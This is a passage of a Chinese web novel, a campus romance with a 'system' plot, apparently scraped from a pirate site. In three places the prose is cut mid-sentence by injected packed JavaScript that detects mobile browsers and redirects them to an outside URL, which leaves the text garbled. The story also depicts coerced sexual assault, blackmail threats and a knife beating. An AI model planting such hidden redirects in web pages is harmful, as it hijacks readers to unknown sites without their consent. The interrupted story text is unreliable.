周闻铮本来想通了就要回来,奈何周父说一不二,态度强硬,他只能干着急,每天安排人去给他实时汇报朗月现的行程,拿着几张远距离的照片饮鸩止渴。 第一次传来照片只有小半张侧脸,周闻铮先抱着亲了半个小时才怒起质问,周家花钱养的都是废物吗?怎么办事的,拍张照片都拍不好,养你们不如去养条狗! 派去的工作人员也很委屈,解释说但凡离得稍微近一些,就会有一波人迅速靠近,如果被发现还拍了照片,态度就更加强硬,会要求删除所有存档,再不济还会直接暴力驱逐,所以只能找个角落悄咪咪偷拍一张。 周闻铮从其他朋友那得知,那些是朗秉白安排的随行人员,特意选聘反侦察和身手都是专业级别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周闻铮幸福的心里嘭嘭放烟花,眼角眉梢尽是笑意。内心被满足感充盈得像拉满帆的船,迎着风怀抱着被巨大幸福填满的心海,被喜悦的浪潮不停地冲撞胸口。 他将人圈在怀里,用指腹轻轻摩挲朗月现睡的微热的脸颊,他只觉得奇怪,一个人怎么能喜欢、珍视一个人到这种程度,怀里躺着朗月现,他甚至不舍得闭眼睛。 他的眼神从未如此温柔,嗓音低哑缠绵,呢喃着:“我的。” 周闻铮在睡着之前就知道,这会是他这几年来睡的最安稳幸福的一觉。 程澈推门进来的时候,外面已经亮起了些许天光。 他的手臂和脸上还留着血,白衣服被血迹和脏污染得看不出原本的颜色,手上拎着塑料袋,他扔到了桌子上,零零落落的滚出几瓶外用药品。 接着从怀里放下了一摞书,一直保持支撑着的胳膊累的微微颤抖,放在外面的几本难免也被染上了些脏污,他随意的丢到一边,仔仔细细检查了被他夹在中间着重保护的几本书,干干净净保存完好。 他缓缓喘出一口气,下意识的往朗月现的床上看了一眼,紧接着神情一滞。 似乎不敢相信自己看到的,他又往前走了两步,趁着窗帘缝隙处透进来的天光彻底看清了床上相拥而眠的两个人。 程澈面无表情的站在原地,骨节分明的手掌用力捂在腹部,脸色苍白如纸,看上去甚至比刚进来时还要狼狈。 他张了张嘴,又无力的闭上,低下头拿开手掌,衣服上的血已经洇了出来,沾满了他的指尖。程澈转身拎起塑料袋,走进浴室关上了门。 15. 第十五章 早上8点。 程澈慢慢动了动枯坐一夜僵硬的四肢,站起身走到朗月现的床前,轻轻叩了叩他的床架。 没动静,继续轻轻叩响。 还是没有动静,程澈神色自若,再次曲起手指,“铛铛……” 周闻铮支起半截身子,困得眼睛堪堪睁开了一只,先是用手轻轻捂住了朗月现的耳朵,扭头用勉强睁开的一只眼睛,眉头紧锁,恶狠狠的低喝:“吵什么吵,滚。” 程澈表情都没变一下,面色平静,只那双平日里清亮的眼眸此刻晦暗的看不清半点情绪:“今天金融系有早课,我叫朗同学起床。” 周闻铮嘴中发出一声烦躁的“啧”,用满是厌烦的眼神扫了他一眼,压低声音不耐道:“听不懂人话?我让你……” 话还没说话,周闻铮只觉得后腰处突然被直冲冲的狠狠击中,猛烈的撞击让他整个人狼狈地从床上直接翻了下去,他眼疾手快一把勾住了栏杆,堪堪用屁股着了地。 “卧槽咋了咋了,地震了……”应昭顶着个鸡窝头从床上探出了脑袋,人还处于没睡醒的懵逼状态,满脸搞不清状况的到处看。 程澈只身形微动躲开了砸向地面的人,眼中闪过一丝诧异,随即嘴角微微上扬,带着一抹不易察觉的嘲讽,又若无其事的恢复淡然,面对地上摔得找不到北的人完全没有顺手扶一把的意思。 周闻铮一脸茫然的抬头看去,朗月现抬起的脚还没收回去,面无表情的脸色看得周闻铮心脏猛猛一跳,满脑子都是:“坏了。” 床本来就小,天气又热,这货竟然一声不吭的爬到了自己床上把自己当了一夜的抱枕? 朗月现睡的一脑袋起床气,脸黑的要杀人。 他低头看了眼对方,眼里没什么情绪,语气也毫无波澜,却硬生生给周闻铮听出一身冷汗:“再有下次,你什么地方碰到我,我就把它片下来塞你嘴里,留着给你下酒吃。” 周闻铮:“……” * 朗月现和程澈并肩走在去教室的路上。 他们宿舍四个人,朗月现和程澈都是金融系的新生,另外两个一个音乐系特长生,一个篮球体育特招生。大早上风风火火闹了一通之后,那俩特招生都没有课要上,现在只有他们两个人需要走在前往早课的路上。 程澈今天穿了个长袖衬衫,扣子扣得严实,脸上带着些细小伤口,眉骨处贴着创口贴,嘴角处还有些开裂,那张看起来很狼狈的脸上此刻却带着颇为满足的丝丝笑意。 程澈怀里抱着他们两个今天上课需要用到的书,和朗月现在夏日清晨灿烂的日光下并肩而行,心脏被又涨又软的情绪包裹,仿佛在水波中荡漾出一圈圈涟漪,酥酥麻麻的感觉一路蔓延到大脑。 他低头又看了看朗月现干净崭新的课本,露出个满意的笑脸。 昨天在接到宋煜出事的电话时,他其实有预感那可能是骗他的。 但是他和宋煜自小认识多年,中学时期就是同学,两人是一起从老家考出来的,他们那是个小地方,这么多年也就出了他们两个考上c大的高材生。 离家前,无论是各个老师还是程澈的父母都在不断嘱咐他,宋煜这孩子单纯,胆子小,出门在外让程澈一定多加照拂。所以哪怕只是有一丝可能性,他都不能眼睁睁看着宋煜出事。 他是本着被骗的心思去的,没想到到了他们所说的地点,宋煜还真在那。 宋煜缩着肩膀站在几人的包围圈中,眼神中带着一丝倔强,但更多的是无奈和恐惧。 在远远看到程澈的时候,他下意识的猛松了一口气,声音有些颤抖:“程澈……” 程澈向前快走几步,董其铭转过身,露出一个讥讽的笑容:“你倒是真敢来。” 他微微偏了偏头,冲程澈的身后看去,似乎在盼望着还能再看见些什么,看着程澈空无一人的背后,那嚣张的笑意渐渐消失,脸色瞬间冷了下来。 程澈走上前去,一句话都没说,将宋煜从几人身前拉过来,转身想要离开,却被其中一人挡住了去路。 “急着走什么?我们还没聊完呢。”对方冷笑一声,伸手想将宋煜抢过来,被程澈拦住。 程澈知道不可能会让他们如此轻易的离开,他看向他们之中领头的那个人,面色严肃道:“董其铭,你到底想干什么?” 董其铭和宋煜是在假期认识的,宋煜以非常优异的专业课成绩考上了C大的美术系,凭借优秀的画技成功在一家非常出名的画室应聘成功,暑假两个月就一直在画室当助教,按小时付费,报酬也同样十分丰厚,董其铭就是那家画室的老板。 董父在董其铭小学时期就开始指导儿子理财投资,董其铭虽然人痞里痞气的,老是愿意跟一群不务正业的富二代鬼混,但是他的外祖母是国内非常有名的山水画大家,董其铭也从小就展示出了惊人的画技,完全继承外祖母的天赋,一手水墨丹青漂亮的出奇。 他拿着父亲给的钱开了一间私人画室,前期靠外祖母的名声和自己的画打头阵做宣传,不出两年,画室名声大噪,一时间被各大国内顶尖画师争先夸赞,高额的课时费并没有让顾客们望而退却,想争取一个画室名额甚至需要走后门托关系,董其铭的画室一度可谓是门庭若市。 宋煜能应聘上这家画室的助教完全可以算是为他未来的履历添上了浓墨重彩的一笔荣誉,入职第一个星期的最后一天,他正收拾画板,就听见旁边同事轻声对他说:“哎,老板来视察工作了。” 那是董其铭和宋煜第一次相遇。 董其铭听说画室招了新人,打眼一看,是个很白净清秀的男孩,穿着透着一股穷酸样,眼神怯怯的,看了自己一眼就赶紧垂下头不敢再看,像个很容易受惊的蠢兔子。 他顿时起了逗弄的心思,朋友们平时玩的那些都是妖艳贱货,像这种类型的他倒是也不少见,但明显都是装出来的,这蠢兔子一看就是真蠢,董其铭勾着唇意味不明的笑了笑,这个人确实让他起了些兴趣。 画室老板对自己和善有礼的搭话让宋煜颇感受宠若惊,在聊天中宋煜得知老板和他一般年纪,而且还考入了同一所大学,同一个专业。这让宋煜非常震惊,只觉得世界上竟然会有这么巧的事,简直是他做梦都不敢想的好事。 宋煜清楚的知道,自己想靠画画出人头地可以说是天方夜谭,天底下比自己出色还有天赋的人多太多了。他出生在那种穷酸的小地方,不学一门正经吃饭的手艺已经是大逆不道了,即使自己凭着努力考上了国内顶尖大学,在别人眼中依旧是不务正业。 自己一没身家,二没父母支持,将来只能靠自己找出路,他贫瘠穷苦的一生让他能想象到的最好的工作,也就是可以在这家全国闻名的顶尖画室当老师。 但是如果能和董其铭相识,一切就都不一样了。现在的自己正和未来老板交谈甚欢,以后甚至还能成为朋友,毕业后的一切都会有保障了,父母再也不会骂他是个只知道画画的赔钱货了,这难道就是老天看他苦了这么多年给他的救赎吗? 董其铭在了解到他是个穷苦地方出来的学生,父母连个正经工作都没有,甚至还非常热心的给他父母也安排进了董家名下的工厂上班,薪酬颇丰,即日入职。 宋煜简直飘飘然起来,他觉得自己一定是撞了大运,可能从他考上C大成为众人眼中的高材生之后,自此他的命运就全部改变了。 他把这个好消息分享给和他一同考入大学的程澈,程澈的学习要比他好的多,是通过正常夏季招考,凭着全区第一的高考分数考入了C大顶尖专业金融系。宋煜并不嫉妒这个,他觉得人各有长,程澈不论脑子有多好用,但是画画上一定不如自己。 他把自己和董其铭相识的过程同程澈说了,并且表示他也可以求董其铭也将程澈的父母也安排进工厂上班。 程澈闻言沉默了一会儿,婉拒了他的好意,并委婉的让他留几个心眼,最好多提防一些这些没理由的好意。 宋煜表面上乖乖的点头表示自己知道了,其实只是觉得程澈这人太过小心,小题大做,董其铭只不过是因为跟他聊得来,两个人今后又是同专业的校友,才会这么热心的帮他,而且这么有钱的老板会图他什么。 直到有一天董其铭带着他,喊着一群他的富二代朋友们,一伙人去酒吧开了包间喝酒。这个他一度认为非常善解人意且热心肠的好老板、好朋友,在他面前一改往日温和好脾气的嘴脸,盛气凌人的嗤笑着,奚弄般按着他的头让他跪下,当着在场所有人的面命令他为自己口/交。 宋煜才终于明白过来,原来他所幻想的一切美好未来都只是镜花水月一场罢了。 那天晚上程澈闹翻了天才将哭的上气不接下气的宋煜从酒吧带出来,他面对涕泗横流还要跪在地上求他不要跟任何人说起这件事的宋煜,只能松开捂着被玻璃酒瓶狠狠开了一道口子的后脑勺,伸手将他扶了起来,无言的点了点头。 但奇怪的是,直到几天后宋煜主动辞去助教的工作,回到家看到父母还是不住声的夸赞他的这个老板朋友有多好,他才知道董其铭并没有辞退他父母。 他不敢深想为什么,也不敢问,只睁一只眼闭一只眼的全当这事过去了。 直到开学那天在宿舍楼梯口被董其铭疯狂刁难,他才知道,原来那场噩梦并不像他以为的,已经结束在那个暑假了。 * “想干什么?”董其铭走上前,他看都没看程澈一眼,满眼不屑地对着宋煜说道:“我就是想知道,他凭什么能让那个人出手帮他。” 程澈紧蹙起眉头,他几乎瞬间猜到董其铭想见的是谁。 董其铭逼近一步,突然伸出手捏住宋煜的下巴,宋煜被吓了一跳,下意识往程澈身后缩了缩,被董其铭强硬的制住,他抬起眼,对上对方充满嘲讽的眼神。 董其铭冷笑一声:“你一个长相寡淡,身无长物,出了事只知道躲在人身后的废物,凭什么被他另眼相待。” 董其铭想起那个人因为宋煜而对他冷眼相对的样子,心里就忍不住冒出一股无名火,他阴沉着脸,语气中满是轻蔑:“被那个人帮一把只能算你凑巧撞大运,说到底,你还要谢谢我,放在平时,他都不会多看你一眼。” “不然,你倒是把人家再叫出来帮你啊。” 此刻陪在董其铭身边的几人都是他们富二代圈子里同一拨玩的不错的,基本上都是拿了外国国籍,在C大的国际交流部混文凭的。 有几个还亲自参与了之前那场针对宋煜的闹剧,有幸在现场亲眼目睹了朗月现的惊人容貌和潇洒做派,回去之后简直心心念念,魂牵梦绕。几乎是迫不及待的撺掇董其铭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018976|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次把宋煜叫出来,眼巴巴的渴望着,能再见见那个人。 宋煜还真的知道朗月现的联系方式,当时在宿舍楼道里他们交换姓名的时候,程澈还要了朗月现的手机号,朗月现没有拒绝,宋煜也将其默默记在了手机上。 但是即便知道他也不可能让这种丑事去脏了朗月现的眼睛,只能硬着头皮,把程澈的电话交给了他们。 他只顾着维持自己在朗月现心中的形象,完全没有替程澈考虑过,这群以玩弄作践他人为乐的富二代们在知道了程澈的联系方式后,会对程澈之后的生活造成多么恶劣的后果。 董其铭顿了两秒,突然道:“要不这样,你把他叫出来,我就放你们走。” 宋煜的脸色变得苍白,手指紧紧攥住衣角色,耳边充斥着他们的嘲笑和侮辱,他想反驳,想说不是这样的,他想解释朗月现不会无视他的,他被他亲手救过这还不能说明问题吗? 他张了张嘴,却发现自己根本说不出话来,他的潜意识竟然觉得他们说的是对的,像朗月现那种长相气度的人物,怎么可能会将目光放在他这种毫无长处的小透明身上,那嘲弄的每一句话都像无数根针,毫不留情的扎在他心上。 宋煜眼眶发热,耳边能听见自己急促的呼吸声在空气中微微颤抖,他想马上掏出手机给朗月现打电话,证明他是会记得自己的,并不像他们所说的那样。 宋煜把手放进兜里的那一刻,手腕突然被死死锁住了,他抬起头看见程澈面无表情的看着他,宋煜还是第一次看见程澈的眼中竟会有如此冷厉阴鸷的目光,他狠狠的打了个寒颤,赶紧垂下头不敢再看,也不敢再动了。 程澈看着他没了动作,才转头看向面露期待笑意的董其铭,眼神冰冷锐利,声音简短有力:“叫不出来,也不用你放。” 话音刚落,程澈的拳头已经砸向了董其铭的腹部。董其铭闷哼一声,弯下腰,程澈又紧接着踢出一腿,后面看戏的那些人才围了过来。 程澈迅速侧身躲过挥向面门的一拳,紧接着另一个人从侧面一脚踢向他的腰部,程澈只能松开拽着宋煜的手,堪堪避开。 宋煜只觉得右臂被一个人猛地抓住,他惊惧的扭头一看,董其铭脸上带着被气极了的异常笑容,他死死拧着宋煜的胳膊,笑声短促而尖锐,话语里带着浓浓的阴狠:“你最好现在就让他停下反抗,你要知道,我不但能让你父母永远失去工作,再也没有人敢聘用他们,工厂里的危险设施也是不少的。你信不信,我们董家的律师团队,能让你连赔偿金都拿不到……” 宋煜胸口剧烈起伏,额头刹那间渗出了冷汗,他几乎是凄厉的喊出一声:“程澈!” 程澈当然也听到了董其铭的那番话,他闭了闭眼睛,就那样站在原地一动不动,停止了所有的反击。 下一秒,狠狠的一脚踢在了他的膝窝,程澈重重的跪倒在地,拳脚如雨点般落下。 董其铭看着蜷缩在地上,双手护住头部,一声不吭默默承受的程澈,冷笑一声,从口袋了掏出了一把精致的军刀。 宋煜猛地扑上去想要阻止他,董其铭看都不看他一眼,一把甩开他,径直向程澈走去,声音里是满满的恶劣笑意:“放心,我有数,玩不出人命。” * 宋煜扶着程澈走在回宿舍的路上,他满脸是泪,也腾不出手擦一下,任由其在脸上不断滴落。 这一路上程澈对他说过的唯一一句话就是让他把朗月现的联系方式删掉,宋煜本想拒绝,看着程澈那一身伤,最后还是沉默着删除了手机号,程澈还拿过去检查了好几遍,接着就看到了宋煜手机里弹出来的群消息,让宋煜去某个教室领课本。 程澈把手机还给他,又掏出自己手机看,同样也有要领课本的消息,他给发通知的同学打了个电话过去,询问朗月现领了吗。 “稍等,我看看啊,朗月现……没呢,他也没来领,你们俩认识吗,那麻烦你帮他也领着吧。” 被导员安排发书的同学性格很好,虽然天色已晚,教学楼里的人都已经走的差不多了,他也不着急,带着耳机哼着歌,等着最后一位同学过来领书。 没过多久,他就被在夜晚空无一人的教室里,突然出现一个满身血污的站在他面前的男人,这堪称惊悚的一幕吓得张大了嘴。 程澈完全没有自己这幅模样在寂静无人的夜晚有多可怕的自觉,他面色从容的走到人面前,指了指剩的那一摞书:“我来领朗月现和程澈的课本。” 同学:“……你咋了同学,需要帮你报警吗?” 程澈:“来的路上不小心摔了一跤,没事的。” 同学:“……是从悬崖特意赶过来的吗,还真是辛苦你了……我看起来像傻子吗?” 程澈笑了笑,没再接这话,他没直接将书抱起来,四处看了看,然后请求同学帮他把其中一份课本用那边的报纸护一下,自己身上不干净,容易弄脏。 同学十分热心肠的帮他包书,不一会儿有点为难道:“这报纸就是用来垫桌子的,有点不够了啊。” 程澈已经很满意了,他感谢了同学:“护一份就够了,谢谢,麻烦你了。”接着便弯下腰把书搬走了。 同学甚至能看到他弯腰时腹部突然溢出的血色。 他怔愣的目送人离开,满脸震惊,寻思这都是啥事啊。 16. 第十六章 C大A栋教学楼东303 郭瑾撑着头正迷迷糊糊犯困,昨天忙了一天,觉也没睡好,第二天就爬起来上早课,周围同学窃窃私语的小声交谈听得他昏昏欲睡,手机屏幕却一直闪个不停。 他睁开眼烦躁的解锁手机,是昨天加的班级群忘记屏蔽了,他抬起头环顾了一下四周,除了凑着头小声叽叽咕咕的,就是低着头一言不发手速很快不停打字的,他觉得有点莫名奇妙,刚开学互相就这么熟了吗? 他打开群消息想点消息免打扰,结果就被满屏的「求」给打愣了。 这是求什么呢,郭瑾点开消息置顶箭头,直接去看第一条。 「我救命,论坛上说这个神仙是咱们金融系的???」并附上一条论坛链接。 郭瑾打开链接,标题是【伟大无需多言】,接着便是一段视频。 视频先是拍向了前方斜对面的路人,镜头还未完全对焦,又开始晃动,转向了真正的主角。 能看出来视频毫无剪辑痕迹,甚至连滤镜都没有加,整个场景在太阳即将落下时显得有些昏黄,却依旧难以阻挡镜头前这人格外超出的美貌。 夕阳金色的微光被那长睫筛成细碎的金箔,正簌簌落进他眼睑下的阴影。发丝被微风轻轻撩起,几缕碎发随意地搭在额前,侧脸能看到他嘴角那抹未成形的笑意悬在阳光和阴影的交界。 镜头对准他的几秒后,他微微侧头,唇角勾起一抹似有若无的笑意,仿佛带着几分不经意的戏谑,又像是藏着某种温柔的无奈。那一笑,仿佛连时间都为之停滞,空气中弥漫着一种令人心动的静谧与美好。 少年伸出手捂住镜头,郭瑾心尖猛地一颤,像是被他亲手捂住了眼睛一样,那声音穿过耳膜,使他的整个心脏都随着那声轻笑的频率震颤。 “够了吧,别录了。” 郭瑾呼吸都停滞了,唯恐没听清他对自己说的每一个字。 好……好苏的声音,好宠溺的语气,好歹毒的帖主! 整个帖子除了视频就只有一个标题,一个字的正文都没有配,但所有人都能看出发视频之人的险恶用心,这个x绝对踏马的在炫耀。 艹,真的让他装到了,好羡慕! 凌晨快2点发的帖子,大家就好像都不睡觉一样,这才不到早上9点,帖子直接顶上了论坛首页,光点赞就已经999+,帖子底下的评论疯涨: 「短短一天内,我老婆就两次上热帖供你们这群混账欣赏,谁能懂我内心的痛苦?」 「再说一遍那是我老婆,你们要是还有点良心就拎点东西来看看我,我已经酸的不行了」 「勾引人这点事这小子做的可真是得心应手,我恨!」 「开学已经很苦了,还是要多看看这些才有力气生活啊」 「饭还是得跟这种人做才好吃啊……」 「???楼上那个你最好说的是正经饭」 「看样咱们学校的校草真的要易主了,盛神当年也没有这阵仗啊」 「地位不保啊盛神,这江山终究还是得在新人手里……」 「按我个人审美,这个男孩有点太完美了,太帅了反而没什么特色。」 「我真是活的太长了,现在都有人这么聊天了吗?太帅了所以没特色?这是人言否?」 「确实是帅,比起早上那张照片,视频动起来更帅,而且整体都非常优越,大帅哥级别,什么地方都完全没有硬伤,挑不出错反而让人觉得有点慌慌的……」 「心里慌是吧傻丫头,我都懂」 「毫无技巧就是纯帅,你们都有意见啊?」 「虽然平时喜欢的不是这种完美类型,但是不得不承认真的帅的很客观。」 「这张脸长得实在是太爽了,我受不了了」 「靠着美貌一天登上两次爆帖,刷屏C大论坛,隔壁院校的朋友都过来发信息问我了,咱们学校现在是不是不搞科研搞选美了。」 「艹,嫉妒就直说,让他们学校那群科研狗挑出一个能打的过来比比,再说了咱学校本来科研这方面就不拔尖,咱是靠培养金融大佬闻名全球的好吗」 「光看每年返校慰问的各行业大佬给学校捐的款出的资,有本事来跟C大比有钱啊,看他们那纯靠眼巴巴等着校方拨款做实验的穷酸样。」 「说起金融……我有小道消息称,有人在今年的金融系新生报道处看见咱新校草了……」 「雾草真的假的,长成这样你跟我说还是个学霸???」 郭瑾被这个评论一下惊醒,他赶紧退出论坛看群,群消息还在不停地刷新,他又跳回刚刚第一条,接着往下看班里同学的回复。 「??真的吗,这个惨绝人寰的大帅比是咱们金融系的?」 「我记得今年金融系好像就收了一个班吧」 「没错,今年分高,就收了我们一个班。」 「那问问不就得了,@xx级金融系1班梁继微,昨天导员是让你发书的对吗,你看见人了吗?」 「……我还真没看见,但是昨天有几个让人代领的,我也不确定是不是咱们班的啊。」 「是不是等一会儿不就知道了,9点上课,人也快来齐了。」 「我看帖子评论说上了两次爆帖,我咋没看见第一个?」 「你来的晚了,好像昨天中午还是啥时候突然被删了,干干净净一点没留下,是大帅哥的全身照,多亏我保存了嘻嘻」 「求」 「求」 「义父我求求了」 …… 郭瑾默默收回了想要点消息免打扰的动作,动作迅速手脚麻利,面色严肃又虔诚的在群里打了个:「求」 —— 系统:“……宿主。” 朗月现懒洋洋的哼了一声回应,系统无语的瞪他一眼,还是决定忍辱负重,软着声音好脾气的问道:“宿主,您那明知山有虎偏向虎山行的好奇心呢,您旁边那位主角攻的模样看着都快让人打死了,您倒是问一嘴啊,一声不吭啊?薛定谔的好奇心,有特定针对对象?非主角受不好奇?” 越说这脾气越装不下去,系统一共软了没两声就现原形,点着小脚丫趾高气扬的教训道:“要宝说咱也别太特殊对待了,大家都是该死的小说主角,各有各的巴掌要挨,你怎么厚此薄彼呢,主角受一巴掌,主角攻更是降龙十八掌,你光好奇主角受是个什么人物,主角攻在你面前都快嗝屁了,你也不吭一声。” 朗月现还处于没睡醒的起床气状态,本来就一脑门子火,闻言都气笑了:“我管他是死是活,小东西,当初和我说好奇心害死猫的是你,不让我去见面的也是你,这话锋一转,又嫌我对他不够关心,嫌我好奇心不足了,你到底要干嘛?” 系统典型欺软怕硬的主,听着朗月现不高兴了又讪笑着开始哄:“哎呀,宝不是那个意思,宿主不要生宝的气嘛。” “因为世界意志的介入,我们现在是完全处于小说的剧情中,宿主你是知道的吧。” 朗月现应了一声,系统又开始哗啦啦翻它那本破小说,它一边翻一边继续说道:“按照小说剧情,此时间段正是你刚刚认识程澈不久,觉得和他这种家境不好的贫困生考入同一个专业,还住在同一个宿舍非常丢脸,正在想办法各种刁难磋磨他,想把他逼到退学,实在不成再让他当你的狗,踩在脚下任你折磨戏弄。” 朗月现无论听了多少遍这个狗血小说的剧情还是会觉得可笑:“呵……然后呢?” “宿主你看,虽然你并没有这么做,也没有找人去欺负主角攻,但是他还是受伤了。宝担心,世界意志会将这件事用一些奇怪的理由强行安在你的身上。” 朗月现脚步微顿,他眉梢微挑,眸光不由深了几许:“哦?你的意思是,主角攻会觉得他这次的受伤是因为我?” “是的,世界意识就是会用一些办法让剧情合理化,比如说,将主角攻打了一顿的这伙人会特地指出,他们欺负他是因为受了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018977|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿主你的指使或者是感觉到宿主你看他不顺眼,特地为了讨好你而教训他。” 系统正色道:“所以宝想让宿主最好能问清楚这件事,以保证主角攻不会因为莫须有的事情记恨上宿主,不然的话咱们就白努力了。” 朗月现其实看得出来程澈衬衫下的伤其实很重,但是他并不想管别人的闲事。昨天站在他面前,高大精壮、身形挺拔得跟一堵墙一样的少年,今天特地强撑着将书抱的很紧,胳膊上的肌肉在轻微发着颤,脊背也不像之前那样笔挺。 朗月现并不觉得在这个几乎没有人认识他的新地方,会有人特地打着他的名号,毫无缘由的将人打成这样,但是系统态度这么严肃,讲道理怎么样都应该问一问。 程澈察觉到朗月现的脚步慢了下来,他转头看过去,对上了朗月现意味深长的眼神。 朗月现侧头同他对视,笑道:“聊聊?” 程澈受宠若惊,他忙不迭的点头,朗月现一顿,意有所指的拍了拍他的肩膀:“谁打的你?” 程澈一愣,他眼神闪烁了一下,看着朗月现近在咫尺的脸,这让他难免回忆起昨天董其铭拿着刀靠近他的时候,擒着阴狠的笑意恶狠狠地骂道:“你们这种卑贱东西,怎么配入了那个人的眼?记着,今天只是个小教训,如果他因为你们讨厌我,我话放这儿,我一定会弄死你们。” 程澈这一犹疑的停顿,系统简直大惊失色,原地破防。朗月现不可思议的抬起手捂住了脸,在脑海中惊讶道:“还真能是因为我啊?” 系统:“……” 朗月现缓过神,没等程澈刚要张嘴回话,他问道:“打回去了吗?” 程澈一愣:“嗯?我,我没……” 怕的就是这个,朗月现就担心这个看着唯唯诺诺,脾气好的没边的男孩被人欺负了连还手都不敢,越这样隐忍,积压的怒气就越深,他们之间的矛盾就越难调和。 朗月现微微倾身靠近对方,目光却坦荡如灼日,不躲不闪,被那样的目光认真的看着,仿佛能将人心底的犹豫烧成灰烬。 他开口,声音低沉而清朗,像山涧溪流撞上冷玉,带着几分漫不经心的慵懒,却又字字清晰。 “怕什么?” 程澈看着他眉梢微挑,眉目间全是自信和锋芒:“不管是谁,打回去,别再吃第二次亏。打不过的话,盯准要害,一击就够了。” 话音落下,顺手抛给程澈一颗草莓糖,仿佛连教诲都成了随手赠予的礼物。 他……他在担心我。 程澈看着走在前方的朗月现,衣角带起的风里都像藏着未尽的潇洒。他的喉结无意识滚动的刹那,似乎听见蝴蝶振翅的嗡鸣。那声音来自锁骨下方三寸,呼吸停滞的数秒里,心口的蝴蝶磷粉终于烧成缺氧的淡蓝色火焰,让指尖开始发烫,眼眶都烧的猩红。 朗月现并不知道身后的人望着他的身影,正在经历多么深刻的心动瞬间。他不爽的捏紧手指,心想着最好别让他知道是谁刚一开学就打着他的名号给他找麻烦,朗月现眼底一片冷然,嘴角勾着风雨欲来的危险笑意。 两个人昨天都没来得及熟悉学校建筑分布,在离上课还有五分钟的时候终于找到了正确的教学楼,程澈打开手机想看看具体是哪间教室,接着就看到了金融新生群的99+消息,他点开看了一眼。 程澈:“……” 朗月现插着兜站在原地,懒洋洋的打了个哈欠,听到身后程澈语焉不详的迟疑问话:“朗同学……你加咱们金融系新生群了吗?” 朗月现淡淡地嗯了声:“昨天报道的时候扫码加了,但是我屏蔽了,怎么了吗?”他说着就想掏出手机查看一番,却被程澈眼疾手快的握住了手腕。 朗月现不解的看过去,程澈被他这么看着,喉结上下滚动几下,不自在的移开了目光,指尖微颤,却还是坚定的握紧并未松开。 “还是……别看了吧,确实也没什么有营养的……” 朗月现:“?” 17. 第十七章 朗月现走进教室的一瞬间,吵闹声像是被按了暂停键。 教室逆光处走进两个少年,两个人同样的高挑清瘦,其中一位,正是郭瑾在手机上看到的那位神仙一样的少年。 他今天穿了一件白色T恤,肩线平直如尺,将白T恤撑出恰到好处的弧度。领口出露出一截修长的颈线,喉结随着吞咽动作轻轻滑动。他的皮肤在阳光下呈现出一种近乎透明的冷白,郭瑾甚至能看到他皮肤底下淡青的血管。 依旧是让人移不开眼的那张脸。眉骨略高,衬得眼窝深邃,眼睛如千斛明珠般,那明珠正闪烁着极为迷人的郎朗日光。 睫毛浓密纤长,鼻梁高挺,唇色比视频上来的还要艳丽,为这张近乎完美的脸增添了几分妖冶,唇角微微上翘,带着几分漫不经心的慵懒。 少年的头发乌黑浓密,发梢在阳光下泛着栗色光泽。额前几缕碎发随意垂落,当他迈步时,随着动作轻轻晃动。 死寂持续了至少有十几秒。 当朗月现迈开长腿的刹那,郭瑾甚至听到了前座那位同学的抽气声。 朗月现对教室同学的异样恍然不觉,他自如的环顾教室,看到了空座之后转头神色自若的示意程澈跟上。 直到朗月现站在自己面前,淡声让其让一下,他要去里面的空座。郭瑾神游一般的起身让位,直到落座后僵直的胳膊似乎能隐隐触碰到那满是玫瑰花香的白皙身体。 不久前还只能在手机上用眼睛贪婪描摹的神仙一样的人物,现在就散发着淡淡香味坐在自己咫尺可碰的地方。 郭瑾后知后觉得感觉后槽牙发酸,指尖传来过电般的麻痹感,整个人烧着了一样从耳尖一直到裸露的脖颈全部一下涨红起来。 程澈对这种奇怪的全员屏息相待,目不转睛的关注氛围感到十分不自在,他微微蹙着眉看着朗月现似乎对此很是习以为常的样子,眼角微微下垂的温顺狗狗眼里满是心疼。 程澈轻声开口:“很麻烦吧,总是被这样注视着。” 朗月现唇角小幅度的扯了下,缓声说:“以前觉得烦,现在习惯了。” 朗月现从小就是所有人的视线中心,走到哪都有数不清的人爱他,朗秉白还为此着实苦恼了好一阵子,恨不得将弟弟拴在身上,走到哪看到哪。 朗月现生性淡漠,对情爱之事一直比较迟钝,小的时候一直以为别人都喜欢粘着他是想跟他当朋友,直到有一次一个从童年时期就认识,跟了他很久的同伴突然崩溃一般跪在地上抱着他的腿痛哭流涕,求朗月现能再多在乎自己一点,哪怕是多施舍一个眼神,他也就满足了。 他再也不想做他身边那些毫无特色的普通朋友,他受够了,他想成为朗月现生活中更加特别的存在,哪怕是一只宠物狗,他也会幸福的流着泪蜷缩在主人的脚边。 可哪怕他那么痛苦的凄声哭诉,除了朗月现望向自己时淡漠中透露着厌恶的眼神,在场的其他人看他的眼光都是可悲又可笑。 他们毫不掩饰的表达着对他的嘲笑,谁不想多分得朗月现的一个目光,但是他们都不敢也不会将那不耻的想法真的暴露在朗月现面前。 